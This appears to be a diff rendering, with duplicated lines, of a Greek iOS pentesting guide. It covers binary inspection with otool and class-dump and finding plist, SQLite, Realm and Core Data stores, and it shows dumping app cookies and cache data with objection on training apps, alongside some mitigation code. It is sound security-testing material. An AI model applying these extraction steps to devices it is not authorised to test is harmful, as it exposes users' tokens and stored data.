Εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να αναγνωρίσουν τη διεργασία της εφαρμογής και να εμφανίσουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας εισαγωγές στις διαδρομές του ενεργού φακέλου της εφαρμογής:
|
Εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να αναγνωρίσουν τη διεργασία της εφαρμογής και να εμφανίσουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας εισαγωγές στις διαδρομές του ενεργού φακέλου της εφαρμογής:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep -i <app-name>
|
ps -ef | grep -i <app-name>
|
||||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||||
```
|
```
|
||||||
|
|
||||||
**Κατάλογος Bundle:**
|
**Κατάλογος Bundle:**
|
||||||
|
|
||||||
* **AppName.app**
|
* **AppName.app**
|
||||||
|
@ -270,6 +290,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||||
* Το λειτουργικό σύστημα μπορεί να διαγράψει αυτά τα αρχεία αυτόματα όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
* Το λειτουργικό σύστημα μπορεί να διαγράψει αυτά τα αρχεία αυτόματα όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||||
|
|
||||||
Ας ρίξουμε μια πιο προσεκτική ματιά στον Κατάλογο Εφαρμογής (.app) του iGoat-Swift μέσα στον Κατάλογο Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
Ας ρίξουμε μια πιο προσεκτική ματιά στον Κατάλογο Εφαρμογής (.app) του iGoat-Swift μέσα στον Κατάλογο Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||||
NSFileType Perms NSFileProtection ... Name
|
NSFileType Perms NSFileProtection ... Name
|
||||||
|
@ -283,9 +304,11 @@ Regular 420 None ... LICENSE.txt
|
||||||
Regular 420 None ... Sentinel.txt
|
Regular 420 None ... Sentinel.txt
|
||||||
Regular 420 None ... README.txt
|
Regular 420 None ... README.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Δυαδική Αναστροφή
|
### Δυαδική Αναστροφή
|
||||||
|
|
||||||
Μέσα στον φάκελο `<application-name>.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται `<application-name>`. Αυτό είναι το αρχείο που θα **εκτελεστεί**. Μπορείτε να πραγματοποιήσετε μια βασική επιθεώρηση του δυαδικού με το εργαλείο **`otool`**:
|
Μέσα στον φάκελο `<application-name>.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται `<application-name>`. Αυτό είναι το αρχείο που θα **εκτελεστεί**. Μπορείτε να πραγματοποιήσετε μια βασική επιθεώρηση του δυαδικού με το εργαλείο **`otool`**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||||
|
@ -299,15 +322,19 @@ DVIA-v2:
|
||||||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
**Έλεγχος εάν η εφαρμογή είναι κρυπτογραφημένη**
|
**Έλεγχος εάν η εφαρμογή είναι κρυπτογραφημένη**
|
||||||
|
|
||||||
Ελέγξτε εάν υπάρχει οποιαδήποτε έξοδος για:
|
Ελέγξτε εάν υπάρχει οποιαδήποτε έξοδος για:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||||
```
|
```
|
||||||
|
|
||||||
**Αποσυναρμολόγηση του δυαδικού κώδικα**
|
**Αποσυναρμολόγηση του δυαδικού κώδικα**
|
||||||
|
|
||||||
Αποσυναρμολόγηση τμήματος κειμένου:
|
Αποσυναρμολόγηση τμήματος κειμένου:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -tV DVIA-v2
|
otool -tV DVIA-v2
|
||||||
DVIA-v2:
|
DVIA-v2:
|
||||||
|
@ -321,7 +348,9 @@ DVIA-v2:
|
||||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||||
0000000100004ad0 add x10, x10, #0x268
|
0000000100004ad0 add x10, x10, #0x268
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να εκτυπώσετε το τμήμα **Objective-C** της δειγματικής εφαρμογής μπορείτε να χρησιμοποιήσετε:
|
Για να εκτυπώσετε το τμήμα **Objective-C** της δειγματικής εφαρμογής μπορείτε να χρησιμοποιήσετε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -oV DVIA-v2
|
otool -oV DVIA-v2
|
||||||
DVIA-v2:
|
DVIA-v2:
|
||||||
|
@ -335,7 +364,9 @@ data 0x1003de748
|
||||||
flags 0x80
|
flags 0x80
|
||||||
instanceStart 8
|
instanceStart 8
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να αποκτήσετε έναν πιο συμπαγή κώδικα Objective-C μπορείτε να χρησιμοποιήσετε το [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
Για να αποκτήσετε έναν πιο συμπαγή κώδικα Objective-C μπορείτε να χρησιμοποιήσετε το [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
class-dump some-app
|
class-dump some-app
|
||||||
//
|
//
|
||||||
|
@ -361,12 +392,13 @@ double _field1;
|
||||||
double _field2;
|
double _field2;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Ωστόσο, οι καλύτερες επιλογές για αποσυναρμολόγηση του δυαδικού κώδικα είναι: [**Hopper**](https://www.hopperapp.com/download.html?) και [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
|
||||||
|
Ωστόσο, οι καλύτερες επιλογές για αποσυναρμολόγηση του δυαδικού κώδικα είναι: [**Hopper**](https://www.hopperapp.com/download.html?) και [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
Αποκτήστε πρόσβαση σήμερα:
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -397,27 +429,35 @@ double _field2;
|
||||||
Μπορείτε να **ανακτήσετε** τις πληροφορίες που αποθηκεύονται χρησιμοποιώντας το **`NSUserDefaults`** χρησιμοποιώντας το `ios nsuserdefaults get` του objection.
|
Μπορείτε να **ανακτήσετε** τις πληροφορίες που αποθηκεύονται χρησιμοποιώντας το **`NSUserDefaults`** χρησιμοποιώντας το `ios nsuserdefaults get` του objection.
|
||||||
|
|
||||||
Για να βρείτε όλα τα plist που χρησιμοποιεί η εφαρμογή, μπορείτε να έχετε πρόσβαση στο `/private/var/mobile/Containers/Data/Application/{APPID}` και να εκτελέσετε:
|
Για να βρείτε όλα τα plist που χρησιμοποιεί η εφαρμογή, μπορείτε να έχετε πρόσβαση στο `/private/var/mobile/Containers/Data/Application/{APPID}` και να εκτελέσετε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find ./ -name "*.plist"
|
find ./ -name "*.plist"
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να μετατρέψετε αρχεία από μορφή **XML ή δυαδική (bplist)** σε XML, υπάρχουν διάφορες μέθοδοι ανάλογα με το λειτουργικό σύστημά σας:
|
Για να μετατρέψετε αρχεία από μορφή **XML ή δυαδική (bplist)** σε XML, υπάρχουν διάφορες μέθοδοι ανάλογα με το λειτουργικό σύστημά σας:
|
||||||
|
|
||||||
**Για τους χρήστες macOS:** Χρησιμοποιήστε την εντολή `plutil`. Είναι ένα ενσωματωμένο εργαλείο στο macOS (10.2+), σχεδιασμένο για αυτόν τον σκοπό:
|
**Για τους χρήστες macOS:** Χρησιμοποιήστε την εντολή `plutil`. Είναι ένα ενσωματωμένο εργαλείο στο macOS (10.2+), σχεδιασμένο για αυτόν τον σκοπό:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ plutil -convert xml1 Info.plist
|
$ plutil -convert xml1 Info.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
**Για τους χρήστες του Linux:** Εγκαταστήστε πρώτα το `libplist-utils`, και στη συνέχεια χρησιμοποιήστε το `plistutil` για να μετατρέψετε το αρχείο σας:
|
**Για τους χρήστες του Linux:** Εγκαταστήστε πρώτα το `libplist-utils`, και στη συνέχεια χρησιμοποιήστε το `plistutil` για να μετατρέψετε το αρχείο σας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ apt install libplist-utils
|
$ apt install libplist-utils
|
||||||
$ plistutil -i Info.plist -o Info_xml.plist
|
$ plistutil -i Info.plist -o Info_xml.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
**Εντός μιας συνεδρίας Objection:** Για την ανάλυση κινητών εφαρμογών, ένα συγκεκριμένο πρόσταγμα σάς επιτρέπει να μετατρέψετε αρχεία plist απευθείας:
|
**Εντός μιας συνεδρίας Objection:** Για την ανάλυση κινητών εφαρμογών, ένα συγκεκριμένο πρόσταγμα σάς επιτρέπει να μετατρέψετε αρχεία plist απευθείας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
### Core Data
|
### Core Data
|
||||||
|
|
||||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο εργασίας για τη διαχείριση του επιπέδου μοντέλου αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιήσει το SQLite ως μόνιμη αποθήκευση](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\
|
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο εργασίας για τη διαχείριση του επιπέδου μοντέλου αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιήσει το SQLite ως μόνιμη αποθήκευση](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\
|
||||||
Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί ένα επιπλέον επίπεδο κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες.
|
Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί ένα επιπλέον επίπεδο κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες.
|
||||||
|
|
||||||
Μπορείτε να βρείτε τις πληροφορίες SQLite Core Data μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
Μπορείτε να βρείτε τις πληροφορίες SQLite Core Data μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||||
|
@ -458,9 +498,11 @@ NSLog(@"data stored in core data");
|
||||||
### Άλλες Βάσεις Δεδομένων SQLite
|
### Άλλες Βάσεις Δεδομένων SQLite
|
||||||
|
|
||||||
Συχνά οι εφαρμογές δημιουργούν τις δικές τους βάσεις δεδομένων SQLite. Ενδέχεται να **αποθηκεύουν** **ευαίσθητα** **δεδομένα** σε αυτές και να τα αφήνουν μη κρυπτογραφημένα. Επομένως, είναι πάντα ενδιαφέρον να ελέγχετε κάθε βάση δεδομένων μέσα στον κατάλογο των εφαρμογών. Πηγαίνετε στον κατάλογο της εφαρμογής όπου αποθηκεύονται τα δεδομένα (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
Συχνά οι εφαρμογές δημιουργούν τις δικές τους βάσεις δεδομένων SQLite. Ενδέχεται να **αποθηκεύουν** **ευαίσθητα** **δεδομένα** σε αυτές και να τα αφήνουν μη κρυπτογραφημένα. Επομένως, είναι πάντα ενδιαφέρον να ελέγχετε κάθε βάση δεδομένων μέσα στον κατάλογο των εφαρμογών. Πηγαίνετε στον κατάλογο της εφαρμογής όπου αποθηκεύονται τα δεδομένα (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find ./ -name "*.sqlite" -or -name "*.db"
|
find ./ -name "*.sqlite" -or -name "*.db"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Βάσεις δεδομένων σε πραγματικό χρόνο Firebase
|
### Βάσεις δεδομένων σε πραγματικό χρόνο Firebase
|
||||||
|
|
||||||
Οι προγραμματιστές έχουν τη δυνατότητα να **αποθηκεύουν και συγχρονίζουν δεδομένα** μέσα σε μια **βάση δεδομένων που φιλοξενείται στο cloud χωρίς SQL** μέσω των Βάσεων Δεδομένων σε Πραγματικό Χρόνο του Firebase. Τα δεδομένα αποθηκεύονται σε μορφή JSON και συγχρονίζονται σε όλους τους συνδεδεμένους πελάτες σε πραγματικό χρόνο.
|
Οι προγραμματιστές έχουν τη δυνατότητα να **αποθηκεύουν και συγχρονίζουν δεδομένα** μέσα σε μια **βάση δεδομένων που φιλοξενείται στο cloud χωρίς SQL** μέσω των Βάσεων Δεδομένων σε Πραγματικό Χρόνο του Firebase. Τα δεδομένα αποθηκεύονται σε μορφή JSON και συγχρονίζονται σε όλους τους συνδεδεμένους πελάτες σε πραγματικό χρόνο.
|
||||||
|
@ -476,15 +518,18 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||||
Το [Realm Objective-C](https://realm.io/docs/objc/latest/) και το [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική λύση για την αποθήκευση δεδομένων, η οποία δεν παρέχεται από την Apple. Από προεπιλογή, τα δεδομένα αποθηκεύονται μη κρυπτογραφημένα, με την κρυπτογράφηση να είναι διαθέσιμη μέσω συγκεκριμένης ρύθμισης.
|
Το [Realm Objective-C](https://realm.io/docs/objc/latest/) και το [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική λύση για την αποθήκευση δεδομένων, η οποία δεν παρέχεται από την Apple. Από προεπιλογή, τα δεδομένα αποθηκεύονται μη κρυπτογραφημένα, με την κρυπτογράφηση να είναι διαθέσιμη μέσω συγκεκριμένης ρύθμισης.
|
||||||
|
|
||||||
Οι βάσεις δεδομένων βρίσκονται στο: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε εντολές όπως:
|
Οι βάσεις δεδομένων βρίσκονται στο: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε εντολές όπως:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||||||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||||||
|
|
||||||
$ find ./ -name "*.realm*"
|
$ find ./ -name "*.realm*"
|
||||||
```
|
```
|
||||||
|
|
||||||
Για την προβολή αυτών των αρχείων βάσης δεδομένων, συνιστάται το εργαλείο [**Realm Studio**](https://github.com/realm/realm-studio).
|
Για την προβολή αυτών των αρχείων βάσης δεδομένων, συνιστάται το εργαλείο [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||||
|
|
||||||
Για την εφαρμογή κρυπτογράφησης μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το ακόλουθο απόσπασμα κώδικα:
|
Για την εφαρμογή κρυπτογράφησης μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το ακόλουθο απόσπασμα κώδικα:
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||||
let config = Realm.Configuration(encryptionKey: getKey())
|
let config = Realm.Configuration(encryptionKey: getKey())
|
||||||
|
@ -496,20 +541,24 @@ let realm = try Realm(configuration: config)
|
||||||
fatalError("Error opening realm: \(error)")
|
fatalError("Error opening realm: \(error)")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Βάσεις Δεδομένων του Couchbase Lite
|
### Βάσεις Δεδομένων του Couchbase Lite
|
||||||
|
|
||||||
Το [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως έναν **ελαφρύ** και **ενσωματωμένο** μηχανισμό βάσης δεδομένων που ακολουθεί την προσέγγιση **εγγράφου-στρατού** (NoSQL). Σχεδιασμένο να είναι φυσικό στα **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς διακοπές.
|
Το [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως έναν **ελαφρύ** και **ενσωματωμένο** μηχανισμό βάσης δεδομένων που ακολουθεί την προσέγγιση **εγγράφου-στρατού** (NoSQL). Σχεδιασμένο να είναι φυσικό στα **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς διακοπές.
|
||||||
|
|
||||||
Για να εντοπίσετε πιθανές βάσεις δεδομένων του Couchbase σε μια συσκευή, πρέπει να ελεγχθεί το ακόλουθο φάκελο:
|
Για να εντοπίσετε πιθανές βάσεις δεδομένων του Couchbase σε μια συσκευή, πρέπει να ελεγχθεί το ακόλουθο φάκελο:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cookies
|
### Cookies
|
||||||
|
|
||||||
Το iOS αποθηκεύει τα cookies των εφαρμογών στο **`Library/Cookies/cookies.binarycookies`** μέσα στον φάκελο κάθε εφαρμογής. Ωστόσο, οι προγραμματιστές μερικές φορές αποφασίζουν να τα αποθηκεύσουν στο **keychain** καθώς το ανωτέρω **αρχείο cookie μπορεί να προσπελαστεί σε αντίγραφα ασφαλείας**.
|
Το iOS αποθηκεύει τα cookies των εφαρμογών στο **`Library/Cookies/cookies.binarycookies`** μέσα στον φάκελο κάθε εφαρμογής. Ωστόσο, οι προγραμματιστές μερικές φορές αποφασίζουν να τα αποθηκεύσουν στο **keychain** καθώς το ανωτέρω **αρχείο cookie μπορεί να προσπελαστεί σε αντίγραφα ασφαλείας**.
|
||||||
|
|
||||||
Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε την εντολή **`ios cookies get`** του objection.\
|
Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε την εντολή **`ios cookies get`** του objection.\
|
||||||
**Μπορείτε επίσης να χρησιμοποιήσετε το objection για** μετατροπή αυτών των αρχείων σε μορφή JSON και επιθεώρηση των δεδομένων.
|
**Μπορείτε επίσης να χρησιμοποιήσετε το objection για** μετατροπή αυτών των αρχείων σε μορφή JSON και επιθεώρηση των δεδομένων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||||
[
|
[
|
||||||
|
@ -525,6 +574,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Προσωρινή μνήμη
|
### Προσωρινή μνήμη
|
||||||
|
|
||||||
Από προεπιλογή, η NSURLSession αποθηκεύει δεδομένα, όπως **αιτήσεις HTTP και απαντήσεις στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί τοκενς, ονόματα χρηστών ή οποιεσδήποτε άλλες ευαίσθητες πληροφορίες. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και πηγαίνετε στο `/Library/Caches/<Bundle Identifier>`. Η **προσωρινή μνήμη του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. Το **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς πρόκειται για μια **κανονική βάση δεδομένων SQLite**.
|
Από προεπιλογή, η NSURLSession αποθηκεύει δεδομένα, όπως **αιτήσεις HTTP και απαντήσεις στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί τοκενς, ονόματα χρηστών ή οποιεσδήποτε άλλες ευαίσθητες πληροφορίες. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και πηγαίνετε στο `/Library/Caches/<Bundle Identifier>`. Η **προσωρινή μνήμη του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. Το **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς πρόκειται για μια **κανονική βάση δεδομένων SQLite**.
|
||||||
|
@ -535,13 +585,11 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||||
|
|
||||||
`URLCache.shared.removeAllCachedResponses()`
|
`URLCache.shared.removeAllCachedResponses()`
|
||||||
|
|
||||||
Αυτή η μέθοδος θα αφαιρέσει όλα τα αποθηκευμένα αιτήματα και απαντήσεις από το αρχείο Cache.db.
|
Αυτή η μέθοδος θα αφαιρέσει όλα τα αποθηκευμένα αιτήματα και απαντήσεις από το αρχείο Cache.db. 2. Εάν δεν χρειάζεστε να χρησιμοποιήσετε τα cookies, θα ήταν συνιστώμενο να χρησιμοποιήσετε απλώς την ιδιότητα [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) της URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και προσωρινής μνήμης.
|
||||||
2. Εάν δεν χρειάζεστε να χρησιμοποιήσετε τα cookies, θα ήταν συνιστώμενο να χρησιμοποιήσετε απλώς την ιδιότητα [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) της URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και προσωρινής μνήμης.
|
|
||||||
|
|
||||||
[Τεκμηρίωση Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
[Τεκμηρίωση Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||||
|
|
||||||
`Ένα αντικείμενο διαμόρφωσης συνεδρίας ephemeral είναι παρόμοιο με μια προεπιλεγμένη διαμόρφωση συνεδρίας (δείτε default), εκτός από το γεγονός ότι το αντίστοιχο αντικείμενο συνεδρίας δεν αποθηκεύει caches, αποθηκεύεις διαπιστεύσεων ή οποιαδήποτε δεδομένα συνεδρίας στο δίσκο. Αντ' αυτού, τα σχετικά με τη συνεδρία δεδομένα αποθηκεύονται στη RAM. Το μόνο χρονικό σημείο που μια συνεδρία ephemeral γράφει δεδομένα στο δίσκο είναι όταν της λέτε να γράψει τα περιεχόμενα ενός URL σε ένα αρχείο.`
|
`Ένα αντικείμενο διαμόρφωσης συνεδρίας ephemeral είναι παρόμοιο με μια προεπιλεγμένη διαμόρφωση συνεδρίας (δείτε default), εκτός από το γεγονός ότι το αντίστοιχο αντικείμενο συνεδρίας δεν αποθηκεύει caches, αποθηκεύεις διαπιστεύσεων ή οποιαδήποτε δεδομένα συνεδρίας στο δίσκο. Αντ' αυτού, τα σχετικά με τη συνεδρία δεδομένα αποθηκεύονται στη RAM. Το μόνο χρονικό σημείο που μια συνεδρία ephemeral γράφει δεδομένα στο δίσκο είναι όταν της λέτε να γράψει τα περιεχόμενα ενός URL σε ένα αρχείο.` 3. Η προσωρινή μνήμη μπορεί επίσης να απενεργοποιηθεί με την ρύθμιση της πολιτικής Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της προσωρινής μνήμης με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στον δίσκο.
|
||||||
3. Η προσωρινή μνήμη μπορεί επίσης να απενεργοποιηθεί με την ρύθμιση της πολιτικής Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της προσωρινής μνήμης με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στον δίσκο.
|
|
||||||
|
|
||||||
### Στιγμιότυπα
|
### Στιγμιότυπα
|
||||||
|
|
||||||
|
@ -554,6 +602,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||||
Το παρακάτω είναι ένα δείγμα μεθόδου αντιμετώπισης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
|
Το παρακάτω είναι ένα δείγμα μεθόδου αντιμετώπισης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
|
||||||
|
|
||||||
Swift:
|
Swift:
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
private var backgroundImage: UIImageView?
|
private var backgroundImage: UIImageView?
|
||||||
|
|
||||||
|
@ -568,7 +617,9 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||||
backgroundImage?.removeFromSuperview()
|
backgroundImage?.removeFromSuperview()
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Στόχος-C:
|
Στόχος-C:
|
||||||
|
|
||||||
```
|
```
|
||||||
@property (UIImageView *)backgroundImage;
|
@property (UIImageView *)backgroundImage;
|
||||||
|
|
||||||
|
@ -583,6 +634,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||||
[self.backgroundImage removeFromSuperview];
|
[self.backgroundImage removeFromSuperview];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτό ορίζει την εικόνα φόντου σε `overlayImage.png` όταν η εφαρμογή μεταβαίνει στο παρασκήνιο. Αυτό εμποδίζει τη διαρροή ευαίσθητων δεδομένων επειδή το `overlayImage.png` θα αντικαθιστά πάντα την τρέχουσα προβολή.
|
Αυτό ορίζει την εικόνα φόντου σε `overlayImage.png` όταν η εφαρμογή μεταβαίνει στο παρασκήνιο. Αυτό εμποδίζει τη διαρροή ευαίσθητων δεδομένων επειδή το `overlayImage.png` θα αντικαθιστά πάντα την τρέχουσα προβολή.
|
||||||
|
|
||||||
### Keychain
|
### Keychain
|
||||||
|
@ -592,11 +644,13 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
